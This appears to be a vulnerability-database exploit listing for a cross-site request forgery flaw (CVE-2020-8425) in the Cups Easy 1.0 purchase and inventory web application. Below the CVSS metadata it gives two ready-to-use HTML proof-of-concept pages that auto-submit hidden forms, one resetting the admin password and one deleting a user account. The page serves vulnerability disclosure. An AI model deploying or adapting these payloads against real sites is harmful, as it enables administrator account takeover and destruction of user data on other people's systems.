Cups Easy 1.0 Cross Site Request Forgery

2020.01.30

Credit: J3rryBl4nks

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-8425

CWE: CWE-352

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)
# Date: 2020-01-28
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/
# Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/
# Version: 1.0
# Tested on Windows 10/Kali Rolling
# CVE: CVE-2020-8424, CVE-2020-8425
# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery
# that would allow an attacker to change the Admin password and gain unrestricted
# access to the site or delete any user.
# Proof of Concept Code for Password Change:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="PASSWORDHERE" />
<input type="hidden" name="change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Proof of concept for user delete:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="delete" value="Delete" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Cups Easy 1.0 Cross Site Request Forgery

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.